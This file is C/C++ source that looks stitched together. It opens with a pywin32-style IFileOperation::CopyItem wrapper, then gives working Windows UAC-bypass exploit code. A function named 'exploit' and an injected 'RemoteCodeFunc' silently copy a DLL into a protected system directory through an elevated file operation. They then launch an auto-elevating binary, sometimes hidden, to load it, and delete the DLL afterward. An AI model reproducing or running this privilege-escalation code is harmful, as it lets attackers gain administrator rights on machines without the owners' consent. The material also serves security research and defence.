// @pymethod |PyIFileOperation|CopyItem|Adds a copy operation to the configuration
PyObject *PyIFileOperation::CopyItem(PyObject *self, PyObject *args)
{
IFileOperation *pIFO = GetI(self);
if ( pIFO == NULL )
return NULL;
// @pyparm <o PyIShellItem>|Item||Item to be copied
// @pyparm <o PyIShellItem>|DestinationFolder||Folder into which it will be copied
// @pyparm str|CopyName|None|New name for the copied file, use None to keep original name
// @pyparm <o PyGFileOperationProgressSink>|Sink|None|Progress sink for just this operation
PyObject *obItem;
PyObject *obDestinationFolder;
PyObject *obCopyName = Py_None;
PyObject *obSink = Py_None;
IShellItem * pItem;
IShellItem * pDestinationFolder;
TmpWCHAR CopyName;
IFileOperationProgressSink * pSink;
if (!PyArg_ParseTuple(args, "OO|OO:CopyItem", &obItem, &obDestinationFolder, &obCopyName, &obSink))
return NULL;
if (!PyWinObject_AsWCHAR(obCopyName, &CopyName, TRUE))
return NULL;
if (!PyCom_InterfaceFromPyInstanceOrObject(obItem, IID_IShellItem, (void **)&pItem, FALSE))
return NULL;
if (!PyCom_InterfaceFromPyInstanceOrObject(obDestinationFolder, IID_IShellItem, (void **)&pDestinationFolder, FALSE)) {
PYCOM_RELEASE(pItem);
return NULL;
}
if (!PyCom_InterfaceFromPyInstanceOrObject(obSink, IID_IFileOperationProgressSink, (void **)&pSink, TRUE)) {
PYCOM_RELEASE(pItem);
PYCOM_RELEASE(pDestinationFolder);
return NULL;
}
HRESULT hr;
PY_INTERFACE_PRECALL;
hr = pIFO->CopyItem( pItem, pDestinationFolder, CopyName, pSink);
pItem->Release();
pDestinationFolder->Release();
if (pSink)
pSink->Release();
PY_INTERFACE_POSTCALL;
if ( FAILED(hr) )
return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation );
Py_INCREF(Py_None);
return Py_None;
}
void exploit(BypassUacPaths const * const paths)
{
const wchar_t *szElevArgs = L"";
const wchar_t *szEIFOMoniker = NULL;
PVOID OldValue = NULL;
IFileOperation *pFileOp = NULL;
IShellItem *pSHISource = 0;
IShellItem *pSHIDestination = 0;
IShellItem *pSHIDelete = 0;
BOOL bComInitialised = FALSE;
const IID *pIID_EIFO = &__uuidof(IFileOperation);
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
dprintf("[BYPASSUACINJ] szElevDir = %S", paths->szElevDir);
dprintf("[BYPASSUACINJ] szElevDirSysWow64 = %S", paths->szElevDirSysWow64);
dprintf("[BYPASSUACINJ] szElevDll = %S", paths->szElevDll);
dprintf("[BYPASSUACINJ] szElevDllFull = %S", paths->szElevDllFull);
dprintf("[BYPASSUACINJ] szElevExeFull = %S", paths->szElevExeFull);
dprintf("[BYPASSUACINJ] szDllTempPath = %S", paths->szDllTempPath);
do
{
if (CoInitialize(NULL) != S_OK)
{
dprintf("[BYPASSUACINJ] Failed to initialize COM");
break;
}
bComInitialised = TRUE;
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK)
{
dprintf("[BYPASSUACINJ] Couldn't create EIFO instance");
break;
}
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
{
dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op.");
break;
}
if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to create item from name (source)");
break;
}
if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to create item from name (destination)");
break;
}
if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll");
break;
}
/* Copy the DLL file to the target folder*/
if (pFileOp->PerformOperations() != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to copy elev dll");
break;
}
/* Execute the target binary */
SHELLEXECUTEINFOW shinfo;
ZeroMemory(&shinfo, sizeof(shinfo));
shinfo.cbSize = sizeof(shinfo);
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
shinfo.lpFile = paths->szElevExeFull;
shinfo.lpParameters = szElevArgs;
shinfo.lpDirectory = paths->szElevDir;
shinfo.nShow = SW_HIDE;
Wow64DisableWow64FsRedirection(&OldValue);
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
{
WaitForSingleObject(shinfo.hProcess, 10000);
CloseHandle(shinfo.hProcess);
}
if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
|| NULL == pSHIDelete)
{
dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)");
break;
}
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
{
dprintf("[BYPASSUACINJ] Failed to prepare op for delete");
break;
}
if (pFileOp->PerformOperations() == S_OK)
{
dprintf("[BYPASSUACINJ] Successfully deleted dll");
// bail out this point because we don't need to keep trying to delete
break;
}
SAFERELEASE(pSHIDelete);
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
|| NULL == pSHIDelete)
{
dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)");
break;
}
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
{
dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)");
break;
}
if (pFileOp->PerformOperations() == S_OK)
{
dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process");
}
else
{
dprintf("[BYPASSUACINJ] Failed to delete target DLL");
}
} while (0);
SAFERELEASE(pSHIDelete);
SAFERELEASE(pSHIDestination);
SAFERELEASE(pSHISource);
SAFERELEASE(pFileOp);
if (bComInitialised)
{
CoUninitialize();
}
}
static DWORD WINAPI RemoteCodeFunc(LPVOID lpThreadParameter)
{
// This is the injected code of "part 1."
// As this code is copied into another process it cannot refer to any static data (i.e. no string, GUID, etc. constants)
// and it can only directly call functions that are within Kernel32.dll (which is all we need as it lets us call
// LoadLibrary and GetProcAddress). The data we need (strings, GUIDs, etc.) is copied into the remote process and passed to
// us in our InjectArgs structure.
// The compiler settings are important. You have to ensure that RemoteCodeFunc doesn't do any stack checking (since it
// involves a call into the CRT which may not exist (in the same place) in the target process) and isn't made inline
// or anything like that. (Compiler optimizations are best turned off.) You need RemoteCodeFunc to be compiled into a
// contiguous chunk of assembler that calls/reads/writes nothing except its own stack variables and what is passed to it via pArgs.
// It's also important that all asm jump instructions in this code use relative addressing, not absolute. Jumps to absolute
// addresses will not be valid after the code is copied to a different address in the target process. Visual Studio seems
// to use absolute addresses sometimes and relative ones at other times and I'm not sure what triggers one or the other. For example,
// I had a problem with it turning a lot of the if-statements in this code into absolute jumps when compiled for 32-bit and that
// seemed to go away when I set the Release build to generate a PDF file, but then they came back again.
// I never had this problem in February, and 64-bit builds always seem fine, but now in June I'm getting the problem with 32-bit
// builds on my main machine. However, if I switch to the older compiler install and older Windows SDK that I have on another machine
// it always builds a working 32-bit (and 64-bit) version, just like it used to. So I guess something in the compiler/SDK has triggered
// this change but I don't know what. It could just be that things have moved around in memory due to a structure size change and that's
// triggering the different modes... I don't know!
//
// So if the 32-bit version crashes the process you inject into, you probably need to work out how to convince the compiler
// to generate the code it used to in February. :) Or you could write some code to fix up the jump instructions after copying them,
// or hand-code the 32-bit asm (seems you can ignore 64-bit as it always works so far), or find a style of if-statement (or equivalent)
// that always generates relative jumps, or whatever...
//
// Take a look at the asm_code_issue.png image that comes with the source to see what the absolute and relative jumps look like.
//
// PS: I've never written Intel assembler, and it's many years since I've hand-written any type of assembler, so I may have the wrong end
// of the stick about some of this! Either way, 32-bit version works when built on my older compiler/SDK install and usually doesn't on
// the newer install.
InjectArgs * pArgs = reinterpret_cast< InjectArgs * >(lpThreadParameter);
// Use an elevated FileOperation object to copy a file to a protected folder.
// If we're in a process that can do silent COM elevation then we can do this without any prompts.
HMODULE hModuleOle32 = pArgs->fpLoadLibrary(pArgs->szOle32);
HMODULE hModuleShell32 = pArgs->fpLoadLibrary(pArgs->szShell32);
if (hModuleOle32
&& hModuleShell32)
{
// Load the non-Kernel32.dll functions that we need.
W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(LPVOID pvReserved) >
tfpCoInitialize( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoInitialize );
W7EUtils::GetProcAddr< void (STDAPICALLTYPE *)(void) >
tfpCoUninitialize( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoUninitialize );
W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv) >
tfpCoGetObject( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoGetObject );
W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv) >
tfpCoCreateInstance( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoCreateInstance );
W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv) >
tfpSHCreateItemFromParsingName( pArgs->fpGetProcAddress, hModuleShell32, pArgs->szSHCreateItemFPN );
W7EUtils::GetProcAddr< BOOL (STDAPICALLTYPE *)(LPSHELLEXECUTEINFOW lpExecInfo) >
tfpShellExecuteEx( pArgs->fpGetProcAddress, hModuleShell32, pArgs->szShellExecuteExW );
if (0 != tfpCoInitialize.f
&& 0 != tfpCoUninitialize.f
&& 0 != tfpCoGetObject.f
&& 0 != tfpCoCreateInstance.f
&& 0 != tfpSHCreateItemFromParsingName.f
&& 0 != tfpShellExecuteEx.f)
{
if (S_OK == tfpCoInitialize.f(NULL))
{
BIND_OPTS3 bo;
for(int i = 0; i < sizeof(bo); ++i) { reinterpret_cast< BYTE * >(&bo)[i] = 0; } // This loop is easier than pushing ZeroMemory or memset through pArgs.
bo.cbStruct = sizeof(bo);
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
// For testing other COM objects/methods, start here.
{
IFileOperation *pFileOp = 0;
IShellItem *pSHISource = 0;
IShellItem *pSHIDestination = 0;
IShellItem *pSHIDelete = 0;
// This is a completely standard call to IFileOperation, if you ignore all the pArgs/func-pointer indirection.
if (
(pArgs->szEIFOMoniker && S_OK == tfpCoGetObject.f( pArgs->szEIFOMoniker, &bo, *pArgs->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp)))
|| (pArgs->pIID_EIFOClass && S_OK == tfpCoCreateInstance.f( *pArgs->pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER|CLSCTX_INPROC_SERVER|CLSCTX_INPROC_HANDLER, *pArgs->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp)))
)
if (0 != pFileOp)
if (S_OK == pFileOp->SetOperationFlags(FOF_NOCONFIRMATION|FOF_SILENT|FOFX_SHOWELEVATIONPROMPT|FOFX_NOCOPYHOOKS|FOFX_REQUIREELEVATION))
if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szSourceDll, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHISource)))
if (0 != pSHISource)
if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szElevDir, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDestination)))
if (0 != pSHIDestination)
if (S_OK == pFileOp->CopyItem(pSHISource, pSHIDestination, pArgs->szElevDll, NULL))
if (S_OK == pFileOp->PerformOperations())
{
// Use ShellExecuteEx to launch the "part 2" target process. Again, a completely standard API call.
// (Note: Don't use CreateProcess as it seems not to do the auto-elevation stuff.)
SHELLEXECUTEINFO shinfo;
for(int i = 0; i < sizeof(shinfo); ++i) { reinterpret_cast< BYTE * >(&shinfo)[i] = 0; } // This loop is easier than pushing ZeroMemory or memset through pArgs.
shinfo.cbSize = sizeof(shinfo);
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
shinfo.lpFile = pArgs->szElevExeFull;
shinfo.lpParameters = pArgs->szElevArgs;
shinfo.lpDirectory = pArgs->szElevDir;
shinfo.nShow = SW_SHOW;
if (tfpShellExecuteEx.f(&shinfo) && shinfo.hProcess != NULL)
{
// Wait for the "part 2" target process to finish.
pArgs->fpWaitForSingleObject(shinfo.hProcess, INFINITE);
pArgs->fpCloseHandle(shinfo.hProcess);
}
// Another standard call to IFileOperation, this time to delete our dummy DLL. We clean up our mess.
if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szElevDllFull, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDelete)))
if (0 != pSHIDelete)
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
{
pFileOp->PerformOperations();
}
}
if (pSHIDelete) { pSHIDelete->Release(); }
if (pSHIDestination) { pSHIDestination->Release(); }
if (pSHISource) { pSHISource->Release(); }
if (pFileOp) { pFileOp->Release(); }
}
tfpCoUninitialize.f();
}
}
}
if (hModuleShell32) { pArgs->fpFreeLibrary(hModuleShell32); }
if (hModuleOle32) { pArgs->fpFreeLibrary(hModuleOle32); }
return 0;
}